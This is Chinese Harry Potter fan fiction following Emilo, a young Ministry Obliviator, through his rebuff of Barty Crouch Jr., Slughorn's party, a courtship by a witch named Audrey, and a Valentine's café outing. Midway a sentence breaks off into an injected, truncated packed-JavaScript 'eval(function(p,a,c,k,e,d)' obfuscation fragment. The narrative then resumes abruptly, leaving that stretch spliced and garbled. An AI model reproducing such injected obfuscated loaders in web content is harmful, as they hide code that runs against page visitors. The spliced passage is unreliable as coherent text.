“你想要把整个英国——包括所有魔法区域和麻瓜区域的地图细节都做进去……这难度可不小,埃米洛。” 亚瑟·韦斯莱坐在堆满麻瓜物品的工作台前,苦恼地挠着他日渐稀疏的红发,鼻梁上的眼镜滑下来一点。 那是埃米洛未毕业时,受室友们最后误会而萌生的想法:想要找到一个失踪的人,比起一个挂钟,制作一张地图更为实用。 “理论上当然可行,但关键在于,” 亚瑟指着图纸上那些细如发丝的魔力流转线路,“这需要注入极其细微、精确的魔力流,像绒毛一样脆弱,太容易在绘制或维持过程中断裂失效了。最好……最好能找到一个天然的、强大的魔法物品作为核心或者放大器来稳定它。我帮你问问我的亲戚们,特别是那些研究古代魔文的……不过,” 他叹了口气,坦诚道,“希望可能比较渺茫。” “我明白,谢谢你,亚瑟。我自己也会继续留意的。” 埃米洛点点头,小心地将那张只完成了一小半的地图卷起来。他转头,看到比尔和查理两颗红脑袋正扒在门框边,两双充满好奇的眼睛亮晶晶地望着他。“要出去兜风吗?” 他嘴角扬起一丝笑意,向两个男孩儿发出邀请。 -------- 准点上下班的日子,规律得近乎刻板。不出外勤的时候,窗外的天色准时由暗转明,再由明转暗。办公室里的气氛总是温和而略带琐碎,同事们谈论的多是麻瓜电器又闹出了什么笑话,或者一些上司们和同事的八卦。如果不是《预言家日报》上日益增多的袭击报道,以及魔法部内部走廊里弥漫的紧张低语,埃米洛几乎要产生一种错觉——仿佛此刻并非伏地魔势力猖獗的黑暗时期,而是某个遥远而和平的年代。 开学季临近,埃米洛卡着点下班,刚走出记忆注销指挥部所在的楼层,准备去大厅,就在略显拥挤的楼梯拐角处,被一个熟悉的身影拦住了去路。 “学长。” 小巴蒂·克劳奇朝他招了招手。“一起下楼吗?” 两个人没有乘坐电梯,而是往楼梯间走去。 “学长在福吉司长这边……感觉还不错?” 小巴蒂的语气听起来像是单纯的关心。 “挺好。” 埃米洛回答得极其简短,目光平静地迎上对方的视线,“他给我开的工资比你父亲高。” 这句话像一根细针,精准地刺了一下。小巴蒂嘴角那完美的弧度似乎僵滞了零点一秒。埃米洛能感觉到周围空气瞬间变得凝滞、安静——一个熟练的闭耳塞听咒无声地笼罩了他们。 “就我们两个人说话,就别说这些虚头巴脑的称呼了吧(他在指刚才埃米洛提到的‘你父亲’)。” 小巴蒂的声音压低了,那层优等生的伪装裂开一道缝隙,流露出不耐烦和一丝急切,“学长,你是知道我的——” “……我应该知道你什么?” 埃米洛顺势向后靠在了冰凉的石头墙壁拐角上,双手随意地插在长袍口袋里,微微歪着头看向小巴蒂。午后的光影在他无机质般的浅色瞳孔里切割出淡漠的碎片。 小巴蒂的面容上清晰地掠过一丝被愚弄的恼火,颧骨的肌肉绷紧了,但他强大的自制力很快又将这情绪按捺下去,只是眼神变得更加锐利和阴郁:“我以为学长是故意的……我应该没有想错吧,你知道我在讲什么。” 他向前逼近了半步,身体投下的阴影几乎将埃米洛笼罩其中。 埃米洛的目光却仿佛没有焦点,轻飘飘地掠过小巴蒂头顶打理得一丝不苟的发丝,落在他系得有些松垮的领带上,眼神里适时地浮现出恰到好处的迷茫:“不好意思,你到底在说什么?” 他的声音只有纯粹的困惑。 小巴蒂深吸了一口气,那声音在寂静的隔音空间里格外清晰。他脸上属于“模范生巴蒂”的表情瞬间重新归位,速度快得惊人,甚至比之前更加“乖巧”和“诚恳”。他清了清嗓子,用一种标准的、向学长请教的谦逊口吻说:“我想借阅您的NEWTs笔记。魔药学、魔咒学、黑魔法防御术……” 他语速平稳地报出一连串对进入魔法部至关重要的科目名称,眼神却像钉子一样,直勾勾地钉在埃米洛的脸上,看的人有些瘆得慌。 “可以的,” 埃米洛点点头,但是语气带上了一点无奈,“但你应该知道我的NEWTs证书只有七张。” 他伸出手,轻轻拍了拍小巴蒂的肩膀,动作带着一种公式化的鼓励,“我会把我有的科目笔记给你。但其余的,恐怕需要你自己努力了。” 他的声音听起来无比诚恳,甚至还带着点前辈的期许,“当然……以你的天赋和能力,我相信剩下的科目拿‘O’对你来说绝非难事。” 随着这番“诚恳”的话语,小巴蒂嘴角那点勉强维持的弧度彻底消失了,唇线抿成一条冷硬的直线。他的眼神变得极其危险,像淬了毒的冰棱。 看来暗示是没用了。埃米洛心里涌上一丝烦躁。 “……别这么看着我。” 他终于皱起了眉头,眉宇间透出几分与老巴蒂·克劳奇神似的冷硬和疏离感。这显然精准地戳中了小巴蒂最深的厌恶。 “我可能——并不是那个你能寄予期待的人。” 他直视着小巴蒂的眼睛,“你能明白我的意思么?” 空气仿佛凝固了数秒。小巴蒂脸上的所有表情都消失了,只剩下一种深不见底的冰冷。他抬起手,动作近乎优雅地、一丝不苟地扶正了自己那原本就歪斜得并不明显的领带结。 “那就不劳烦您借我笔记了。” 他略微仰起头说道。随着他话音落下,笼罩着两人的闭耳塞听咒如同肥皂泡般“啵”地一声破裂消散。楼梯间外走廊的嘈杂人声瞬间涌入,将两人之间那无声的、充满硝烟味的对峙彻底淹没。小巴蒂甚至没有再看埃米洛一眼,挺直脊背,转身推开了楼梯间的门。 21.一捧玫瑰花 1979年初,奥格登开始放他一个人出外勤。食死徒针对麻瓜的袭击如同瘟疫般蔓延,频率高得令人窒息。傲罗们繁忙,连同着记忆注销指挥部的工作量也一起激增。埃米洛穿梭于伦敦的阴暗角落、混乱的麻瓜街道,处理过被黑魔法扭曲成噩梦游乐场的儿童公园,安抚亲人被“凭空消失”后精神崩溃的幸存者。 在连续几次近乎完美的任务报告被归档后,他的职位悄然向上浮动了一级。如果在法律执行司,这是不可能的,至少不会这么快。 他给自己更换了一个住所,没有选巫师聚集的山谷,而是搬进了麻瓜世界一栋现代化大厦的高层——新公寓拥有巨大的落地窗,窗外是伦敦永不疲倦的钢铁洪流和如蝼蚁般川流不息的人群。 麻瓜们这么多,伏地魔的理想怎么可能实现呢?他摇了摇头。 四月,一个几经辗转,边缘残留着数道不同防护咒语的微弱痕迹的包裹,悄无声息的抵达了他的新公寓。 詹姆莉莉给他寄了一张照片——他们结婚了。两个人穿着婚纱和笔挺的西服,在阳光下无忧无虑地旋转着,微笑的弧度变得很像,看上去很幸福。 照片背面是詹姆那熟悉的、飞扬跋扈的字迹:“嗨喽啊这位魔法部的朋友!看看!哥们儿终于把莉莉娶到手了!(她当然是被我的魅力折服的!)”这段话的后面有些混乱的墨迹印,埃米洛能猜到绝对是莉莉勒着他的脖子让他“别瞎写。” “希望这该死的战争能快点结束,到时候三把扫帚约起来!不醉不归!”——詹姆 & 莉莉。 埃米洛捏着那张薄薄的相纸,站在落地窗前看了很久。窗外的霓虹开始闪烁,映在相片上,给那两张年轻、充满希望的脸上蒙上一层不真实的流光。他伸出手指,重重弹了一下照片中詹姆得意扬扬的脑门。 “你先能活到那时候再说吧。” 他低声自语。 他谨慎地对这张照片施加了数层强力的混淆咒和防护咒,确保即使被翻找出来,也只能看到一片模糊的光影。然后,他将它小心地嵌进书桌一个特制的暗格里。 做完这一切,他抽出魔杖,尖端稳稳地指向自己的太阳穴。念动了一串咒语,如同雕塑家处理细微的刻痕一般精准地将脑海中关于这张照片里詹姆和莉莉的面孔进行了“模糊化”处理。 脑海里二人的五官变得朦胧不清,只剩下两个依偎在一起、洋溢着幸福感的模糊人影轮廓。 他早就发现自己对所有需要调动情绪的魔法都毫无天赋,例如难以寸进的守护神咒,现在还有大脑封闭术——但他现在学会了其他方法,奥格登老师是这方面的专家,编辑记忆上尤其擅长。他不吝啬于教学,全部倾囊相授。 七月,新一批年轻面孔带着憧憬或茫然的表情涌入魔法部,埃米洛的名字再次出现在人事调动的通知上——他又升了一级,成为了记忆注销指挥部的副主管。让一些熬了半辈子的老职员侧目,记忆注销办公室的空气中弥漫了一阵压抑的不满和窃窃私语。 但很快,这些不满就像投入冰水的炭火,嗤地一声熄灭了。他们发现这位年轻的新上司简直是理想的上级模板——话少事儿少效率高。指令简练,不布置无意义的额外任务;不搞形式主义的会议,又不制止办公室闲聊;一个人能同时处理三份报告,还能提前完成。 新的领导就像一块高效的海绵,无声地吸走了指挥部最繁琐、最耗时的核心工作,让其他人得以清闲。能拿着同样的薪水干更轻松的活儿,谁还会傻到去搞抗议呢?毕竟他们又不是法律执行司那群卷生卷死的卷王。 与此同时,小巴蒂·克劳奇以NEWTs十个“O”、两个“E”的辉煌成绩正式入职了。这成绩单几乎是魔法部新员工的天花板,耀眼得令人窒息。然而,老巴蒂·克劳奇却做出了一个让所有人大跌眼镜的决定——将他“下放”到了魔法交通司。 伯莎戳着盘子里的豌豆对这位优秀的学弟报以真切的同情:“老头儿绝对故意的!交通司的司长以前是部长米里森的心腹秘书,老克劳奇这是派他儿子去收编人心、安插钉子去了!可怜的小巴蒂,刚出校门就要趟这浑水……” 然而,她的哀悼很快被证明是多余的。小巴蒂进入交通司后并非坐冷板凳,反而展现出惊人的手腕。飞路网监控系统在他的梳理下变得前所未有的高效和严密,几次食死徒试图利用飞路网进行的突袭都被提前预警、扼杀在摇篮中。他在极短的时间内就建立了威信,中午的食堂里,总能看到他被一□□通司乃至其他部门的年轻职员簇拥着。 《预言家日报》再次“不失时机”地将这对父子捧上了神坛,用极其夸张的笔墨将他们描绘成“黑暗中的灯塔”、“维护正义的使者”,大肆宣扬他们对“和平”的“卓越贡献”。之前因老巴蒂强硬推行严苛傲罗法令而引发的批评浪潮在这一段时间几乎消失殆尽。一些非官方的小报开始隐晦地鼓吹:“这才是我们未来需要的魔法部长”。 九月,开学季。一张华丽得过分的邀请函送到了埃米洛的办公桌上——斯拉格霍恩教授鼻涕虫俱乐部的晚宴。他以“优秀毕业生”的身份被正式邀请参加。 斯拉格霍恩确实拥有一种点石成金的本事。至少埃米洛认不出这里是霍格沃滋的废弃阁楼。厚重的天鹅绒帷幔、摇曳的水晶吊灯、空气中昂贵的香水味和食物的香气,将这里装扮得宛如古灵阁深处的某个金库宴会厅。 中央的圆桌旁,围坐着魔法界各行各业穿着考究长袍的“精英”们。他们端着酒杯,脸上挂着弧度相似的、训练有素的笑容,话语如同精致的丝绸般滑腻。给人感觉自己像是走进了一个批量生产“成功人士”的展示厅,每个人的面具都光鲜亮丽而千篇一律。 埃米洛站在能观察到整个宴会厅的角落,旁边是唯一在这里透露出不自在的一位——布德罗里克·博德。高大魁梧的缄默人像误入狼群的羔羊,浑身散发着强烈的不自在。旁边一位妆容精致、烈焰红唇的女巫正试图与他攀谈: “这里比我想象的要无聊,但是我对你感兴趣。”女巫非常直白:“听说你是缄默人?真是非常神秘的工作。神秘事务司有好几个不同的厅,您在哪一个呢?” “预言厅。”布德罗里克的声音干涩紧绷,身体僵硬得像块木板,“工作内容不可奉告。” 女巫挑了挑精心描绘的眉毛,显然对这种拒绝感到不悦,身体又向他靠近了些。布德罗里克下意识地向埃米洛这边缩,几乎要贴在他身上。 “神秘事务司的工作内容受最高级别保密条例约束,即使对部长也不完全公开。”埃米洛适时地开口,带着一种公事公办的疏离感,成功地将女巫的注意力从窘迫的缄默人身上引开。 “哦?”女巫的目光瞬间转向埃米洛,带着审视“那么您是……?” “埃米洛·德蒙特,你好。”他微微颔首。 在福吉手下工作的这段时间让他的气色比之前好了一些,但面色依旧苍白,周身轮廓也仍然削薄。但年龄的增长让他的骨骼和肩颈线条清晰而笔直,水晶灯的折射光下,灰蓝色的眼睛呈现出一种冰晶般的剔透感。 女巫托腮看了他一会儿,嘴唇一勾,展现出浓厚的兴趣。 “我叫奥黛丽,来自北方。” 她说她未在霍格沃茨就读,也没有去德姆斯特朗和布斯巴顿。由父亲聘请私人教师完成学业。 “……我讨厌学院的束缚。”她说话时眼波流转,带着一种野性的魅力。她讲述家族的炼金术生意,维京半岛惊险的海怪传说,东亚大陆蕴藏的金矿探险,以及她和她的兄弟姐妹在孤岛被困六个月,期间为了生存杀光了岛上所有的哺乳动物……最后她活下来了,在血红的残阳和极度的饥饿中等来了父亲的援救船…… 直到其他人来找她,她才意犹未尽地结束谈话,塞给埃米洛一张印着烈焰红唇印的名片。 “……谢谢你。”布德罗里克如蒙大赦,声音细如蚊蚋,整个人几乎要缩进埃米洛身后的阴影里。 “没什么。”埃米洛看了他一眼,将名片收好。 斯拉格霍恩教授像一条游鱼,油滑的穿梭在人群中,适时端着香槟游弋到埃米洛身边。 “哦!埃米洛,我的孩子!真是好久不见!”他热情地拥抱了一下,“最近怎么样?……让我猜猜,你现在是在哪位得力干将手下高就?嘿!博德!好孩子,别跑啊!”他眼疾手快地拦住了试图溜走的布德罗里克。 “我现在是在记忆注销指挥部,前不久刚升为副主管。”埃米洛不动声色地挪动脚步,将斯拉格霍恩的注意力从僵硬的布德罗里克身上引开,带着他走向吧台区。 “哦……康奈利·福吉。”斯拉格霍恩脸上没有丝毫意外,依旧是那副洞悉一切的笑容,顺手给埃米洛拿了几块精致的点心,“我果然没看错你,孩子,你总是能做出最‘明智’的选择。”他意有所指地眨眨眼,“福吉是个好人,很懂得……嗯,经营关系。相比巴蒂那个硬石头,当然更‘好相处’。” 他带着点亲昵的语调,让人难以辨清是调侃还是提点,“不过吧,你可能看不出来。福吉其实也是很有事业心的一位。他有时就是太‘好说话’了,缺乏点主心骨,做决定总喜欢东问西问……需要别人给他明确的方向。你知道吗?福吉的夫人还是我给他介绍的呢!”他得意地笑起来。 他们又闲聊了几句。斯拉格霍恩提到自己计划明年退休,这场宴会是他最后的告别。其实他本想这学期就走的,但邓布利多对他说没有合适的接班人。说着说着,话题再次转到埃米洛身上,提到他现在师从奥格登时,斯拉格霍恩脸上的笑容更大了,眼神近乎迸发出兴奋的光。 “奥格登啊……唉,说起来,我们当年可是非常好的朋友!”他用手比划着,随即又露出遗憾的神情,“可惜后来……为了一点小事,吵了一架。你知道他那头倔驴的脾气!我想修复关系,给他写了好多封信,结果呢?全都被他原封不动地退回来了!连拆都没拆!”他夸张地摊手,语气里是真切的无奈。 “奥格登老师确实是一位非常有原则的人。”埃米洛语气诚恳,“您和奥格登老师都教给了我许多宝贵的东西,让我受益匪浅。” “哈哈,你这孩子,真会说话!”斯拉格霍恩显然很受用这种恭维,他拍了拍埃米洛的肩膀,带着长辈的慈爱,“想想我们年轻的时候,也就像你们现在这么大……我选择留在霍格沃茨教书育人,他则满腔热血地去了法律执行司当傲罗……后来……”他突然打了个哆嗦,似乎回忆起什么可怕的事情。但又很快调整好表情,轻轻叹了口气,脸上的皱纹似乎更深了些。 “人老了,隔了这么多年,很多事想起来容易,真要再聚聚,反而觉得有心无力了……” 埃米洛听懂了那声叹息背后的暗示。他摩挲着手中的玻璃杯,杯壁的冰凉触感和里面扭曲的倒影让他微微蹙眉,移开了视线。 “……怎么会呢?”他接话道,“您们都教导过我,这份师生缘分也是一份相同的缘分,所以您和老师的默契仍在。我相信,只要心意还在,再聚的缘分总会有的。”他没有做出任何具体承诺,但话语中向斯拉格霍恩抛出一个模糊的可能性。 斯拉格霍恩先是一愣,随即爆发出爽朗的大笑,用力拍着埃米洛的肩膀:“说得对!说得太对了!埃米洛,缘分,对,有缘终相见啊!” ———— 十月过后,气温骤降。距离老巴蒂·克劳奇公开宣告以强硬手段对抗食死徒,已经整整两年。这一段时间局势似乎平稳下来。报纸上关于食死徒被捕入狱的消息越来越多,袭击事件频率显著下降。笼罩在魔法界上空那种令人窒息的战争阴云仿佛被吹散了一些,人们疲惫的神经稍稍松弛,开始筹划新生活…… “我叔叔埃德加请了长假。”阿米莉亚在一次三人的午餐时突然提起,她用叉子用力切割着盘子里的牛排,发出轻微的摩擦声,“我婶婶的小宝宝预产期就在下个月了,他们要有一个期待的小女孩儿了。” “……你是不是有点惆怅?”埃米洛放下水杯,直接问道。他和伯莎都知道阿米莉亚是由埃德加抚养长大的,名义上是叔叔,实则上情感更为浓厚。 “哎呀!”伯莎立刻狠狠拍了一下埃米洛的胳膊,翻了个白眼,“你们男生说话可都真没情商。” “……没事。”阿米莉亚的动作顿了一下,“我确实有点惆怅。”她干脆利落的承认,用力地切着牛排,仿佛那牛排是她的仇敌,“不过我也觉得女孩儿很好。不要再有一个‘安迪’出生了!你们根本不知道六七岁的小男孩有多烦人!如果我婶婶再生一个男孩儿……”她抬起头,眼神带着点凶狠,“我就立刻从魔法部塔楼跳下去!” 她开始滔滔不绝地抱怨起她的表弟安迪——从他把墨水泼在她熬夜整理的文件上害她被克劳奇咆哮了整整半小时开始,到他用玩具魔杖把她最喜欢的发卡变成了鼻涕虫……罕见的语气激烈,但埃米洛和伯莎都听得出,这烦躁背后隐藏的并非真正的厌恶,因为阿米莉亚的钱夹里珍惜的夹着安迪笔触有些拙劣的简笔画——画的是她和伯恩斯先生一家。 “说起来,”伯莎适时地转移话题,试图让气氛轻松些,“弗兰克的太太艾丽斯好像也怀孕了?你们认识他么?大我几届。我前两天去傲罗办公室核对任务时,瞥见他桌上露出一角的产检报告……明年七月出生……那他的宝宝岂不是要和你未来的小表妹同一级进霍格沃茨?对了埃米洛,”她转向埃米洛,“还有韦斯莱家?这次是女孩儿了吗?” “得生出来才知道。”埃米洛的嘴角微微上扬,“亚瑟和莫莉坚持要把惊喜留到最后,治疗师守口如瓶,他们自己也绝不问一句。” “唉……”伯莎忽然夸张地趴在了桌子上,用额头磕了磕桌面,“我也想谈恋爱啊!梅林在上,能不能看在我这么努力工作的份上,赐给我一个男朋友啊?” 阿米莉亚来了兴趣,暂时忘记了烦心事,“你喜欢什么样的?我帮你留意着?” 伯莎立刻坐直,扳着手指头数起来:“嗯……相貌要帅,要高,要有能让我觉得‘哇,好厉害’的闪光点!还要能包容我,最重要的是——绝对不能跟我顶嘴!我说东他不能往西……性格最好跟我互补……” “噗嗤!”阿米莉亚忍不住笑出声,“跟你互补……那不是要么冰山要么木头嘛!” “是啊,我就喜欢不说话的花瓶……” 两人笑作一团,埃米洛也低低地笑了一声,余光不经意地扫过食堂另一角。最前面,小巴蒂的目光精准地穿透人群,牢牢地钉在了他身上。埃米洛若无其事地收回目光,仿佛什么也没看见,他忽然想到了之前斯拉格霍恩的宴会。 “我说不定还真的知道一个。”他对伯莎打了个响指。 十一月,奥黛丽小姐不知用什么手段,在国际魔法合作司谈成了一项合作项目,成了魔法部的常客。她几乎每天都踩着那双标志性的红色高跟鞋,摇曳生姿地穿过记忆注销指挥部的走廊。最初只是远远地对他抛个飞吻,眼神戏谑。直到有一天,她抱着一大捧如同火焰般炽热的红玫瑰,在众目睽睽之下,径直走到埃米洛的办公桌前,将花束“咚”地一声放在他正在批阅的文件上,然后抱着手臂,好整以暇地等待着,期待从他脸上捕捉到一丝窘迫或羞涩。 整个办公室都安静了,随即爆发出此起彼伏的口哨声、起哄声和善意的笑声。 埃米洛抬起头,脸上依旧是那副波澜不惊的表情,目光在触及那浓烈得几乎灼伤眼睛的红色时,微微动了一下。他平静地对上奥黛丽带着挑战意味的视线,几秒钟后,在所有人屏息凝神的注视下,他伸出手,动作自然地整理了一下有些歪斜的花束包装纸,然后点了点头:“谢谢,奥黛丽小姐。花很漂亮,我很喜欢。” “那就收下吧。”奥黛丽小姐漫不经心的把一只玫瑰花插在了他的耳后。 那天之后,他开始陪着陪着她在伦敦相对安全的区域穿梭——泰晤士河畔看雾锁重楼,大英博物馆里对着麻瓜的奇珍异宝评头论足(奥黛丽对着它们冷哼,尖锐的评价都是野蛮侵略的产物),然后在某个飘着小雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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1月月末,伦敦被第一场初雪温柔覆盖,铅灰色的天空下,城市的轮廓在细密的雪片中变得柔和。埃米洛的公寓成了巨大的画框,落地窗框住这幅流动的、无声的冬日街景。壁炉里的火焰跳跃着,发出噼啪的轻响,橙红的光芒将室内染上暖意,与窗外清冷的雪光形成奇异的对比。 奥黛丽小姐脱下了沾着雪粒的昂贵皮草外套,随意地搭在沙发扶手上——“这是我十岁的时候自己猎得的。”她说。然后赤着脚踩在厚厚的地毯上,像只慵懒而危险的猎豹,在他窗前摆放着的铺着柔软长毛毛毯的沙发上坐下。打量着整个空间—— “你的装修风格和本人不太一样,所以,这里原来有另外一个女孩儿的身影么?”她的目光落在壁炉上的六只动物玩偶身上。“蝙蝠,小狗,狼,老鼠,鹿……为什么是两只鹿?” 埃米洛正专注地用细长的铁签串着棉花糖,小心地在炉火上方转动。跳跃的火光在他平静的侧脸上投下明暗交错的影子,显得格外专注,闻言抬起头:“你是第一个。我妈妈都还没来过。” 奥黛丽小姐笑了一下,“我从来没有住过这么小的房子。” 她的目光流连在窗外川流不息、顶着风雪步履匆匆的麻瓜剪影上,“但这里……视野不错。”唇角勾起一个意味不明的弧度,似乎在欣赏,又似乎在评判。 “已经是我工资的极限了。” 埃米洛将烤得恰到好处、表面金黄微焦的棉花糖放在一旁的骨瓷小碟里,推到奥黛丽面前。 奥黛丽转过身,没有立刻去碰那碟甜点。她倚着落地窗,抱着手臂,眼神像带着钩子,直直地落在埃米洛身上。壁炉的火光在她眼底跳跃,映出一种近乎妖异的美。伯莎曾私下笃定她带有媚娃血统,此刻埃米洛觉得那猜测是有道理的。 “如果你同我一起走,”她的声音带着一种蛊惑人心的磁性,“我可以在其他国家买一套更大的,也是落地窗。维京的海风,或者远东的阳光,任你挑选。我们可以去岩洞探险,去看极光,去非洲追猎豹……生活会比这里有趣得多。” 壁炉里木柴燃烧的噼啪声在突然安静的空气中显得格外清晰。埃米洛没有回应她的提议,只是沉默地拿起另一颗棉花糖,再次伸向炉火,动作稳定而规律。火光在他低垂的眼睫上跳跃,让人看不清他眼底真正的情绪。 奥黛丽轻轻哼笑一声,带着一丝被忽视的不悦。她踱步上前,在埃米洛身边坐下。沙发微微下陷,埃米洛闻到了一股幽暗、复杂的香气瞬间浓郁起来。她伸出手,带着凉意的指尖极其缓慢地、描摹着埃米洛的眉骨轮廓。 “知道么?”她的声音几乎成了气音,红唇贴近他的耳廓,温热的气息拂过皮肤,“你的眼睛很特别。在室外强光下,会泛出冰冷的湖蓝色,像冻住的湖面,边缘处又有点银;日常光里是沉稳的蓝灰;而在这里……”她的指尖轻轻划过他的眼尾,“它们又趋近于黑色,非常……流光溢彩。” 埃米洛终于停下了烤棉花糖的动作,微微侧过头,“你对你的前十五任男友都这么说过么?称赞他们的眼睛。” “那可不是。”奥黛丽倾身向前,“你是特别的。” “然后你送我红玫瑰?”埃米洛挑了挑眉。 危险而美丽的女士脸上浮现出狡黠的笑意,银铃般的笑声在安静的房间里显得有些突兀。她顺势将一缕滑落的发丝优雅地拨回耳后,动作风情万种。手指滑落。 明白要发生什么的瞬间,埃米洛微微侧过了头。 奥黛丽脸上笑容未减,她用带着薄茧的手掐住他的脸,另一只手强硬的将他的头转了回来。埃米洛眉头也没皱一下,手掌坚定地覆盖在了她的脸上,动作甚至带着一种奇异的温和,但拒绝的意味清晰无比。 这一次,奥黛丽脸上的笑意终于浮现出冰冷的愠怒。她的手指猛地收紧,用力捏住了埃米洛的下颌,力道之大,埃米洛确信这会留下指印,甚至淤青。 “你到底几个意思?”她的声音压得很低,每个字都像是从齿缝里挤出来的,带着被冒犯的寒意。“欲情故纵只需要一次,多了就过火了。” 埃米洛被迫抬着头,承受着她审视的目光。下颌传来的疼痛感很清晰,但他脸上的表情依旧没什么波澜,眼睛里掠过一丝难以捕捉的复杂情绪。他轻轻放下覆在她脸上的手,声音低沉而清晰:“也许……我想先送你一朵花呢?” “花?”奥黛丽冷笑一声,捏着他下颌的手指没有丝毫放松,反而更用力了些,像是在掂量他话里的真假,又像是在惩罚他的不识抬举。 “那你最好是让我满意。”她的语气充满了警告和最后通牒的意味。 埃米洛没有挣扎,他缓缓抽出魔杖。杖尖在空中划出几道极其流畅、精准的轨迹,伴随着一段音节古老、韵律奇特的低吟咒语。那咒语并非属于课本上的任何一个,像是某种失传的、来自遥远国度的低语,带着星辰坠落般的寂寥美感。 随着他的动作和咒语,一点微光在杖尖凝聚,然后迅速生长、延展。一株由纯粹星光编织而成的蒲公英在他掌心上方缓缓成型。它的茎秆纤细剔透,茸毛般的种子闪烁着无数细碎的、钻石般的光点,在昏暗的室内散发着柔和而梦幻的光芒,美得令人屏息。 奥黛丽捏着他下颌的手指微微松了一下,冰冷的怒意被一丝纯粹的惊愕和迷惑取代。她看着那株星辉蒲公英,眼神专注,这显然超出了她的预期。重要的是……不是任何象征爱情的花,而是蒲公英。 埃米洛的捕捉到了她那一闪而过的惊愕。他垂下眼睫,对着掌心的星光蒲公英,轻轻地、温柔地吹了一口气。 “呼——” 万千星点如同被惊起的萤火,脱离了纤细的茎秆,轻盈地四散飘飞。它们像一场微型的流星雨,闪烁着、旋转着,充盈了整个房间。光芒照亮了埃米洛平静的侧脸,也映亮了奥黛丽眼中翻涌的、难以解读的情绪。星点温柔地拂过她的发梢、脸颊,带来一丝微凉的触感,随即又迅速黯淡、消散,如同从未存在过。 “这是什么魔法?”她小心触碰残存的余晖。 是罗杰留下的魔法。他碾碎了落在指尖的光。 就在最后一点星光熄灭,室内彻底陷入比之前更深的黑暗的瞬间——壁炉的火焰仿佛被无形的力量抽走了所有光芒,房间陷入纯粹的墨色。 时间仿佛被拉长、凝固。 在绝对的黑暗中,埃米洛感觉到脸上那只冰冷的手终于完全松开了。时间像是橡皮筋一样被拉长,某一个呼啸的顶点,她拥抱了他。黑暗中剩下了彼此不同频率的心跳声。 22.一个情人节 伦敦的初春,午后,寒风被隔绝在厚重的玻璃窗外。埃米洛和阿米莉亚面对面,坐在一家网红咖啡馆里,四周是泛滥成灾的粉红色——粉红的墙壁、粉红的丝绒座椅、粉红蕾丝边的菜单、连空气里都仿佛飘着甜腻的粉色糖霜气味。巨大的落地窗上,心形和丘比特箭的贴纸层层叠叠,将窗外灰蒙蒙的街景切割得支离破碎。 今天是情人节,咖啡馆里几乎座无虚席,每一张桌子都像一个小小的、冒着粉红泡泡的结界,将他们这两个格格不入的存在包围。 两人与其说在喝咖啡,不如说是在认真地进行一场“发呆”比赛。阿米莉亚机械地搅动着面前那杯拉花已经糊成一团的拿铁,焦糖色的漩涡在奶沫中徒劳地旋转。她的目光无处安放,先是落在斜前方一对情侣身上:男孩正温柔地亲吻了女孩的脸颊,女孩咯咯笑着,顺势像只慵懒的猫般倒进了男孩怀里。阿米莉亚猛地移开视线,却不偏不倚,正撞上另一桌情侣在众目睽睽之下交换了一个缠绵的深吻。 “我受不了了。”阿米莉亚放下勺子,发出一声轻微的碰撞声,她用手撑住额头,声音里带着一种濒临崩溃的疲惫,“我后悔陪伯莎来这里。这简直是……酷刑。”她推了推鼻梁上的眼镜,仿佛想借此看清这荒谬的现实。 埃米洛面无表情地抿了一口面前不加糖也不加奶的纯黑美式。他微微侧头,视线余光扫向后方那个半包围式的卡座——伯莎·乔金斯和布德罗里克·博德就坐在那里。 “我记得伯莎学姐三天前在魔法部茶水间,信誓旦旦地宣布,她‘绝对、绝对、再也不会理布德罗里克了!’。” “谁说不是呢。”阿米莉亚低声附和,目光依旧垂着,仿佛桌面上残留的咖啡渍纹路是世界上最有趣的图案。又一对情侣在不远处发出了暧昧的轻笑,伴随着响亮的啵唧声,她干脆把下巴抵在了交叠的手背上,彻底隔绝了视觉污染。“但显然不是认真的,她挺紧张的,甚至没有因为赖床迟到,甚至需要我们两个怨种陪着她。” “她还喷了香水,”埃米洛补充道,“擦了口红,描了眉毛。” “……你看出来了?”阿米莉亚猛地抬起头,镜片后的眼睛里满是惊异,混杂着一丝古怪神色,“你们这些‘直男’不是向来号称对化妆品的色号变化和描眉画眼完全失明吗?” “很明显我与众不同。”埃米洛嘴角勾起一个极淡的、近乎神秘的弧度,他轻轻晃了晃手中的咖啡杯,黑色的液体在杯壁上留下短暂的痕迹。 “该把你的观察力分一半给布德罗里克……”阿米莉亚忍不住回头,飞快地瞥了一眼卡座方向,压低声音,语气里充满了对伯莎的深切同情。“他明显什么都没看出来。” “因为他根本不敢看她。” 两个人一同沉默,情人节是多么适合男女确定关系的节日啊,但目的太明显了反而徒增紧张,所以彼此都等待着对方开口……何况布德罗里克是个社恐。 最后还是社交恐怖分子伯莎先找了一个话题。 “你知道吗,最近圣芒戈发生了一件特别搞笑的事!……我有一个室友现在就在圣芒戈工作,她说啊,就这两天,因为情人节送错礼物或者表白咒语用歪了反噬而冲进急诊室的可怜虫,数量居然超过了被食死徒袭击受伤送进来的人!你说是不是特别讽刺又好笑?” 她停顿了一下,似乎在等待回应,但对面只有一片令人窒息的沉默。伯莎只好继续,努力让语气保持活泼:“有个倒霉蛋,想给他暗恋的女孩变出一大捧浪漫的红玫瑰,结果不知道是太紧张还是魔咒课本没学好,变出来的是一大丛会咬人的刺佬儿!把他自己的袍子下摆都啃成了流苏!哈哈!”她干笑了两声,随即又像找到了重点,声音放柔,带着明显的暗示,“但是!重点来了!他表白居然成功了!那个女孩被他的‘流苏袍子’和脸上的刺佬儿划痕逗笑了,觉得他笨拙得可爱!所以你看,有的时候形式真的不是最重要的……只要心意是真的,够真诚,就够了,对吧?” 她的耳朵尖在柔和的粉色灯光下透出明显的红晕。为了掩饰紧张,她拿起小银勺,矜持地挖了一小口摆在两人中间的情侣套餐特供蛋糕——一个堆满了粉色奶油霜和心形草莓、几乎要溢出盘子的巨大甜点。 布德罗里克的状态则完全是另一个极端。他整个人缩在卡座的角落,宽厚的肩膀努力内收,试图减少存在感。从进店开始,他就像一只误入捕兽笼的巨怪,浑身散发着强烈的不安。 周围充斥着人的环境明显让他不适——他的面部因为极度紧张导致的充血,他的目光像受惊的兔子,不停地扫视着周围每一桌客人,警惕着任何可能投来的视线。当一个端着托盘的侍者经过他们卡座时,他甚至明显地瑟缩了一下,差点把面前的柠檬水碰翻。埃米洛毫不怀疑,这位缄默人已经精神昏迷了。 